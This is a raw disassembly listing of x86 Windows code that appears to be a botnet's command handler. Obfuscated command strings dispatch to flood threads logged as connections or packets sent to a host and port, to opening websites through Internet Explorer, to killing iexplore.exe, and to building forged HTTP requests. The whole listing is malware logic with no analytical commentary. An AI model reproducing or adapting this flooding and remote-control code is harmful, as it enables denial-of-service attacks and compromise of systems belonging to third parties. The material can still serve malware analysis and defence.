; ---------------------------------------------------------------------------
loc_412365: ; CODE XREF: sub_40A938+7A26j
push dword ptr [esi]
loc_412367: ; CODE XREF: sub_40A938+7A2Bj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_1038], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1034]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_F34], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_F30], eax
push dword ptr [ebx+10h]
call sub_42A030
mov [ebp+var_F2C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_F24], edi
mov [ebp+var_F20], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 1Ch
push eax
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
push offset aSSDWithDConnSF ; "%s --> (%s:%d) with %d conn's for %d se"...
push 0Dh
call sub_4233DE
add esp, 1Ch
mov [ebp+var_F28], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_1038]
push edi
push eax
push offset sub_418A0D
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_F28]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_412486
loc_41242F: ; CODE XREF: sub_40A938+7C75j
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_412462
cmp [ebp+arg_18], 0
jnz short loc_41246C
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_412462: ; CODE XREF: sub_40A938+7B06j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_41246C: ; CODE XREF: sub_40A938+7B0Cj
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
jmp loc_414856
; ---------------------------------------------------------------------------
loc_41247E: ; CODE XREF: sub_40A938+7B55j
push 32h
call dword_43718C ; Sleep
loc_412486: ; CODE XREF: sub_40A938+7AF5j
cmp [ebp+var_F1C], 0
jz short loc_41247E
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_412494: ; CODE XREF: sub_40A938+79DDj
push dword ptr [ebx]
push offset aVz62d1m0yya ; "Vz62d1m0Yya/"
call edi ; dword_437174
test eax, eax
jz loc_412618
push dword ptr [ebx]
push offset aF4c9z1ubcg80 ; "F4c9z1UBCg80"
call edi ; dword_437174
test eax, eax
jnz loc_41260B
cmp [ebx+4], eax
jz loc_4125CB
cmp [ebx+8], eax
jz loc_4125CB
cmp [ebx+0Ch], eax
jz loc_4125CB
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_4124EB
loc_4124E1: ; CODE XREF: sub_40A938+7A15j
mov ebx, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
jmp loc_40B89E
; ---------------------------------------------------------------------------
loc_4124EB: ; CODE XREF: sub_40A938+7BA7j
mov edi, [ebp+arg_18]
lea eax, [ebp+var_18E4]
test edi, edi
jnz short loc_4124FD
push dword ptr [esi+0Ch]
jmp short loc_4124FF
; ---------------------------------------------------------------------------
loc_4124FD: ; CODE XREF: sub_40A938+7BBEj
push dword ptr [esi]
loc_4124FF: ; CODE XREF: sub_40A938+7BC3j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_1968], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1964]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1860], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_185C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_1858], edi
mov [ebp+var_1854], eax
push dword ptr [ebx+0Ch]
call sub_42A030
add esp, 18h
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
push offset aSSDWithDPacks ; "%s --> (%s:%d) with %d packs"
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_1864], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_1968]
push edi
push eax
push offset sub_4289AF
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1864]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_41242F
jmp short loc_4125BD
; ---------------------------------------------------------------------------
loc_4125B5: ; CODE XREF: sub_40A938+7C8Cj
push 32h
call dword_43718C ; Sleep
loc_4125BD: ; CODE XREF: sub_40A938+7C7Bj
cmp [ebp+var_1850], 0
jz short loc_4125B5
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4125CB: ; CODE XREF: sub_40A938+79E6j
; sub_40A938+79EFj ...
cmp [ebp+arg_14], 0
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_4125F6
cmp [ebp+arg_18], 0
jnz short loc_412600
push ebx
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_4125F6: ; CODE XREF: sub_40A938+7CA1j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_412600: ; CODE XREF: sub_40A938+7CA7j
push ebx
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
jmp loc_40C7CB
; ---------------------------------------------------------------------------
loc_41260B: ; CODE XREF: sub_40A938+7B78j
push dword ptr [ebx]
push offset a2yclo0srxpi ; "2YClO0SRxpi/"
call edi ; dword_437174
test eax, eax
jnz short loc_412622
loc_412618: ; CODE XREF: sub_40A938+7B67j
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
jmp loc_4127E3
; ---------------------------------------------------------------------------
loc_412622: ; CODE XREF: sub_40A938+7CDEj
push dword ptr [ebx]
push offset aH3yh9_xq_s2_ ; "h3YH9.Xq.S2."
call edi ; dword_437174
test eax, eax
jnz loc_4127D1
cmp [ebx+4], eax
jz loc_412791
cmp [ebx+8], eax
jz loc_412791
cmp [ebx+0Ch], eax
jz loc_412791
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_412668
mov ebx, offset aSsoce0jbtxi ; "sSOce0JbTXI/"
jmp loc_40B89E
; ---------------------------------------------------------------------------
loc_412668: ; CODE XREF: sub_40A938+7D24j
mov edi, [ebp+arg_18]
lea eax, [ebp+var_17C8]
test edi, edi
jnz short loc_41267A
push dword ptr [esi+0Ch]
jmp short loc_41267C
; ---------------------------------------------------------------------------
loc_41267A: ; CODE XREF: sub_40A938+7D3Bj
push dword ptr [esi]
loc_41267C: ; CODE XREF: sub_40A938+7D40j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_184C], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1848]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1748], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_1744], eax
mov eax, [ebp+arg_14]
mov [ebp+var_1738], edi
mov [ebp+var_1734], eax
push dword ptr [ebx+0Ch]
call sub_42A030
add esp, 18h
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aSsoce0jbtxi ; "sSOce0JbTXI/"
push offset aSSDWithDPacks ; "%s --> (%s:%d) with %d packs"
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_173C], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_184C]
push edi
push eax
push offset sub_4274B2
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_173C]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_412783
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_41275F
cmp [ebp+arg_18], 0
jnz short loc_412769
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aSsoce0jbtxi ; "sSOce0JbTXI/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_41275F: ; CODE XREF: sub_40A938+7E03j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_412769: ; CODE XREF: sub_40A938+7E09j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aSsoce0jbtxi ; "sSOce0JbTXI/"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_41277B: ; CODE XREF: sub_40A938+7E52j
push 32h
call dword_43718C ; Sleep
loc_412783: ; CODE XREF: sub_40A938+7DF2j
cmp [ebp+var_1730], 0
jz short loc_41277B
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_412791: ; CODE XREF: sub_40A938+7CFEj
; sub_40A938+7D07j ...
cmp [ebp+arg_14], 0
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_4127BC
cmp [ebp+arg_18], 0
jnz short loc_4127C6
push ebx
push offset aSsoce0jbtxi ; "sSOce0JbTXI/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_4127BC: ; CODE XREF: sub_40A938+7E67j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_4127C6: ; CODE XREF: sub_40A938+7E6Dj
push ebx
push offset aSsoce0jbtxi ; "sSOce0JbTXI/"
jmp loc_40C7CB
; ---------------------------------------------------------------------------
loc_4127D1: ; CODE XREF: sub_40A938+7CF5j
push dword ptr [ebx]
push offset aIwbkf0o1om6Qrn ; "IwBKf0O1Om6/QRn4z10ge1I1"
call edi ; dword_437174
test eax, eax
jnz short loc_4127EA
push offset aSsoce0jbtxi ; "sSOce0JbTXI/"
loc_4127E3: ; CODE XREF: sub_40A938+6BB2j
; sub_40A938+6C0Dj ...
push 0Dh
jmp loc_412A63
; ---------------------------------------------------------------------------
loc_4127EA: ; CODE XREF: sub_40A938+7EA4j
push dword ptr [ebx]
push offset aEm42x_1iszi1 ; "Em42x.1IsZI1"
call edi ; dword_437174
test eax, eax
jnz loc_412A4F
xor edi, edi
cmp [ebx+4], edi
jz loc_412F03
cmp [ebx+8], edi
jz loc_412F03
cmp [ebx+0Ch], edi
jz loc_412F03
cmp [ebx+10h], edi
jz loc_412F03
cmp [ebx+14h], edi
jz loc_412F03
push 0Eh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_412880
loc_41283A: ; CODE XREF: sub_40A938+817Fj
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_412868
cmp [ebp+arg_18], 0
jnz short loc_412872
push [ebp+arg_C]
push ebx
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_412868: ; CODE XREF: sub_40A938+7F10j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_412872: ; CODE XREF: sub_40A938+7F16j
push [ebp+arg_C]
push ebx
loc_412876: ; CODE XREF: sub_40A938+80FCj
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_412880: ; CODE XREF: sub_40A938+7F00j
mov eax, [ebp+arg_14]
mov [ebp+var_63DC], eax
mov eax, [ebp+arg_18]
mov [ebp+var_63E0], eax
cmp eax, edi
lea eax, [ebp+var_6478]
jnz short loc_4128A1
push dword ptr [esi+0Ch]
jmp short loc_4128A3
; ---------------------------------------------------------------------------
loc_4128A1: ; CODE XREF: sub_40A938+7F62j
push dword ptr [esi]
loc_4128A3: ; CODE XREF: sub_40A938+7F67j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
mov edi, 3FFh
push edi
mov [ebp+var_6C7C], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_6C78]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_63F4], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_63F0], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 18h
cmp eax, 1
mov [ebp+var_63E8], eax
jge short loc_412904
mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
jmp loc_413CB1
; ---------------------------------------------------------------------------
loc_412904: ; CODE XREF: sub_40A938+7FC0j
push edi
lea eax, [ebp+var_6878]
push dword ptr [ebx+14h]
push eax
call sub_429C40
xor eax, eax
add esp, 0Ch
cmp [ebp+arg_60], eax
mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
setnz al
cmp [ebp+arg_14], 0
mov [ebp+var_63E4], eax
jnz short loc_412961
cmp [ebp+arg_18], 0
jnz short loc_412967
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_412961: ; CODE XREF: sub_40A938+7FF6j
cmp [ebp+arg_18], 0
jz short loc_412991
loc_412967: ; CODE XREF: sub_40A938+7FFCj
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_412991: ; CODE XREF: sub_40A938+802Dj
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
push 0Eh
call sub_4233DE
add esp, 18h
mov [ebp+var_63F8], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_6C7C]
push edi
push eax
push offset loc_419FC5
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_63F8]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_412A41
loc_4129EF: ; CODE XREF: sub_40A938+8271j
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_412A22
cmp [ebp+arg_18], 0
jnz short loc_412A2C
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_412A22: ; CODE XREF: sub_40A938+80C6j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_412A2C: ; CODE XREF: sub_40A938+80CCj
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_412876
; ---------------------------------------------------------------------------
loc_412A39: ; CODE XREF: sub_40A938+8110j
push 32h
call dword_43718C ; Sleep
loc_412A41: ; CODE XREF: sub_40A938+80B5j
cmp [ebp+var_63D8], 0
jz short loc_412A39
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_412A4F: ; CODE XREF: sub_40A938+7EBDj
push dword ptr [ebx]
push offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1"
call edi ; dword_437174
test eax, eax
jnz short loc_412A78
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push 0Eh
loc_412A63: ; CODE XREF: sub_40A938+1096j
; sub_40A938+189Dj ...
xor eax, eax
cmp [ebp+arg_18], eax
push eax
push [ebp+arg_20]
jnz loc_40B9D3
push eax
jmp loc_412BE3
; ---------------------------------------------------------------------------
loc_412A78: ; CODE XREF: sub_40A938+8122j
push dword ptr [ebx]
push offset aKmdie1uwntq ; "KmdIe1UwntQ/"
call edi ; dword_437174
test eax, eax
jnz loc_412BC7
cmp [ebx+4], eax
jnz short loc_412AA9
cmp [ebp+arg_14], eax
mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz loc_40BE74
cmp [ebp+arg_18], eax
jmp loc_40BE59
; ---------------------------------------------------------------------------
loc_412AA9: ; CODE XREF: sub_40A938+8154j
push 0Eh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jg loc_41283A
mov eax, [ebp+arg_14]
mov [ebp+var_2644], eax
mov eax, [ebp+arg_18]
mov [ebp+var_2640], eax
test eax, eax
lea eax, [ebp+var_26C8]
jnz short loc_412ADE
push dword ptr [esi+0Ch]
jmp short loc_412AE0
; ---------------------------------------------------------------------------
loc_412ADE: ; CODE XREF: sub_40A938+819Fj
push dword ptr [esi]
loc_412AE0: ; CODE XREF: sub_40A938+81A4j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_27CC], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_27C8]
push eax
call sub_429C40
mov eax, [ebx+8]
add esp, 0Ch
test eax, eax
jz short loc_412B1D
push 7Fh
push eax
lea eax, [ebp+var_2748]
push eax
call sub_429C40
add esp, 0Ch
loc_412B1D: ; CODE XREF: sub_40A938+81D1j
cmp [ebp+arg_14], 0
mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
jnz short loc_412B45
cmp [ebp+arg_18], 0
jnz short loc_412B4B
push dword ptr [ebx+4]
push edi
push offset aSS__0 ; "%s --> (%s)."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_412B45: ; CODE XREF: sub_40A938+81EEj
cmp [ebp+arg_18], 0
jz short loc_412B61
loc_412B4B: ; CODE XREF: sub_40A938+81F4j
push dword ptr [ebx+4]
push edi
push offset aSS__0 ; "%s --> (%s)."
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 14h
loc_412B61: ; CODE XREF: sub_40A938+8211j
push dword ptr [ebx+4]
push edi
push offset aSS__0 ; "%s --> (%s)."
push 0Eh
call sub_4233DE
add esp, 10h
mov [ebp+var_2648], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_27CC]
push edi
push eax
push offset sub_42817F
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_2648]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_4129EF
jmp short loc_412BB9
; ---------------------------------------------------------------------------
loc_412BB1: ; CODE XREF: sub_40A938+8288j
push 32h
call dword_43718C ; Sleep
loc_412BB9: ; CODE XREF: sub_40A938+8277j
cmp [ebp+var_263C], 0
jz short loc_412BB1
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_412BC7: ; CODE XREF: sub_40A938+814Bj
push dword ptr [ebx]
push offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1"
call edi ; dword_437174
test eax, eax
jnz short loc_412BF9
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push 0Eh
loc_412BDB: ; CODE XREF: sub_40A938+1D04j
push 0
push [ebp+arg_20]
push [ebp+arg_18]
loc_412BE3: ; CODE XREF: sub_40A938+813Bj
push [ebp+arg_14]
push [ebp+arg_10]
push dword ptr [esi+0Ch]
loc_412BEC: ; CODE XREF: sub_40A938+83j
; sub_40A938+10A6j
call sub_42358B
loc_412BF1: ; CODE XREF: sub_40A938+4CAj
; sub_40A938+2305j
add esp, 20h
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_412BF9: ; CODE XREF: sub_40A938+829Aj
push dword ptr [ebx]
push offset aV6jbh0k4uD_ ; "V6jBH0k4u/d."
call edi ; dword_437174
test eax, eax
jnz loc_412CA4
mov ebx, [ebx+4]
test ebx, ebx
jz loc_412F03
xor edi, edi
push edi
push edi
push ebx
push offset aIexplore ; "iexplore"
push offset aOpen ; "open"
push edi
call dword_43725C
test eax, eax
mov ebx, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
jz short loc_412C72
cmp [ebp+arg_14], 0
mov edi, offset aSSiteOpened_ ; "%s Site opened."
jnz short loc_412C55
cmp [ebp+arg_18], 0
jnz short loc_412C5F
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_412C55: ; CODE XREF: sub_40A938+8305j
cmp [ebp+arg_18], 0
jz loc_412F27
loc_412C5F: ; CODE XREF: sub_40A938+830Bj
push ebx
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 10h
xor edi, edi
jmp short loc_412C90
; ---------------------------------------------------------------------------
loc_412C72: ; CODE XREF: sub_40A938+82FAj
cmp [ebp+arg_14], edi
jnz short loc_412C90
cmp [ebp+arg_18], edi
jnz short loc_412C99
push ebx
push offset aSSiteFailedToO ; "%s Site failed to open."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_412C90: ; CODE XREF: sub_40A938+8338j
; sub_40A938+833Dj
cmp [ebp+arg_18], edi
jz loc_412F27
loc_412C99: ; CODE XREF: sub_40A938+8342j
push ebx
push offset aSSiteFailedToO ; "%s Site failed to open."
jmp loc_40B99A
; ---------------------------------------------------------------------------
loc_412CA4: ; CODE XREF: sub_40A938+82CCj
push dword ptr [ebx]
push offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1"
call edi ; dword_437174
test eax, eax
jnz short loc_412CF7
push eax
push offset aIexplore_exe ; "iexplore.exe"
call sub_41FD79
cmp [ebp+arg_14], 0
pop ecx
pop ecx
mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
mov ebx, offset aSS_1 ; "%s %s"
jnz short loc_412CE3
push offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0"
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_412CE3: ; CODE XREF: sub_40A938+8394j
cmp [ebp+arg_18], 0
jz loc_4148CF
push offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0"
jmp loc_40B034
; ---------------------------------------------------------------------------
loc_412CF7: ; CODE XREF: sub_40A938+8377j
push dword ptr [ebx]
push offset aVxg7n_qbmg90aa ; "vXG7N.qBMG90aA/Td0EX07M1"
call edi ; dword_437174
test eax, eax
jnz loc_412F0D
cmp [ebx+4], eax
jz loc_412F03
cmp [ebx+8], eax
jz loc_412F03
cmp [ebx+0Ch], eax
jz loc_412F03
cmp [ebx+10h], eax
jz loc_412F03
lea eax, [ebp+var_7310]
push eax
push 101h
call dword_4372B4
push dword ptr [ebx+4]
call dword_4372A0
mov edi, eax
test edi, edi
jnz short loc_412D94
cmp [ebp+arg_14], eax
mov edi, offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
mov ebx, offset aSSD ; "%s %s <%d>"
jnz short loc_412D78
call dword_43716C ; RtlGetLastWin32Error
push eax
push edi
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_412D78: ; CODE XREF: sub_40A938+8422j
cmp [ebp+arg_18], 0
jz loc_4148CF
call dword_43716C ; RtlGetLastWin32Error
push eax
push edi
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
jmp loc_40B638
; ---------------------------------------------------------------------------
loc_412D94: ; CODE XREF: sub_40A938+8413j
push 6
push 1
push 2
call dword_4372B8
mov [ebp+arg_C], eax
mov [ebp+var_2F4], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_2F0], eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
call dword_4372C0
mov [ebp+var_2F2], ax
lea eax, [ebp+var_2F4]
push 10h
push eax
push [ebp+arg_C]
call dword_4372C8
cmp eax, 0FFFFFFFFh
jz short loc_412E4D
push dword ptr [ebx+4]
lea eax, [ebp+var_31AC]
push dword ptr [ebx+14h]
push dword ptr [ebx+10h]
push dword ptr [ebx+0Ch]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\r\nReferer: %s\r\nUser-Agent"...
push 100h
push eax
call sub_429AEE
add esp, 1Ch
xor ebx, ebx
lea eax, [ebp+var_31AC]
push ebx
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_31AC]
push eax
push [ebp+arg_C]
call dword_4372CC
cmp eax, 0FFFFFFFFh
jz short loc_412E4D
push ebx
lea eax, [ebp+var_2DA4]
push 80h
push eax
push [ebp+arg_C]
call dword_4372D0
cmp eax, 0FFFFFFFFh
jnz short loc_412EA8
loc_412E4D: ; CODE XREF: sub_40A938+84ADj
; sub_40A938+84F8j
cmp [ebp+arg_14], 0
mov edi, offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
mov ebx, offset aSSD ; "%s %s <%d>"
jnz short loc_412E79
call dword_43716C ; RtlGetLastWin32Error
push eax
push edi
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_412E79: ; CODE XREF: sub_40A938+8523j
cmp [ebp+arg_18], 0
jz short loc_412E9A
call dword_43716C ; RtlGetLastWin32Error
push eax
push edi
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push ebx
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 18h
loc_412E9A: ; CODE XREF: sub_40A938+8545j
push [ebp+arg_C]
call dword_4372D4
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_412EA8: ; CODE XREF: sub_40A938+8513j
push [ebp+arg_C]
call dword_4372D4
lea eax, [ebp+var_2DA4]
push offset asc_440D78 ; "\n"
push eax
call sub_429B8E
push eax
lea eax, [ebp+var_61860]
push eax
call sub_429A33
add esp, 10h
cmp [ebp+arg_14], ebx
mov edi, offset aS_5 ; "%s"
jnz short loc_412EF2
lea eax, [ebp+var_61860]
push eax
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_412EF2: ; CODE XREF: sub_40A938+85A2j
cmp [ebp+arg_18], ebx
jz short loc_412F27
lea eax, [ebp+var_61860]
push eax
jmp loc_40B999
; ---------------------------------------------------------------------------
loc_412F03: ; CODE XREF: sub_40A938+7EC8j
; sub_40A938+7ED1j ...
mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_412F0D: ; CODE XREF: sub_40A938+83CAj
push dword ptr [ebx]
push offset aQ5l5f_2to_60 ; "q5l5f.2TO.60"
call edi ; dword_437174
test eax, eax
jz short loc_412F2E
push dword ptr [ebx]
push offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1"
call edi ; dword_437174
test eax, eax
jz short loc_412F2E
loc_412F27: ; CODE XREF: sub_40A938+101Dj
; sub_40A938+105Aj ...
xor eax, eax
jmp loc_4148D2
; ---------------------------------------------------------------------------
loc_412F2E: ; CODE XREF: sub_40A938+85E0j
; sub_40A938+85EDj
xor eax, eax
cmp [ebx+4], eax
jz loc_413BB2
cmp [ebx+8], eax
jz loc_413BB2
push dword ptr [ebx]
and [ebp+arg_C], eax
and [ebp+arg_68], eax
loc_412F4A: ; DATA XREF: ?9:off_44760Co
mov [ebp+arg_8], 3
push offset aQ5l5f_2to_60 ; "q5l5f.2TO.60"
call edi ; dword_437174
test eax, eax
jnz short loc_412F63
mov [ebp+arg_C], 1
loc_412F63: ; CODE XREF: sub_40A938+8622j
push dword ptr [ebx]
push offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1"
call edi ; dword_437174
test eax, eax
jnz short loc_412F77
mov [ebp+arg_68], 1
loc_412F77: ; CODE XREF: sub_40A938+8636j
push dword ptr [ebx+4]
push offset aW3gp6_13acy1_0 ; "W3GP6.13AcY1"
call edi ; dword_437174
test eax, eax
jnz loc_413060
cmp [ebp+arg_C], eax
jz short loc_412FF4
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
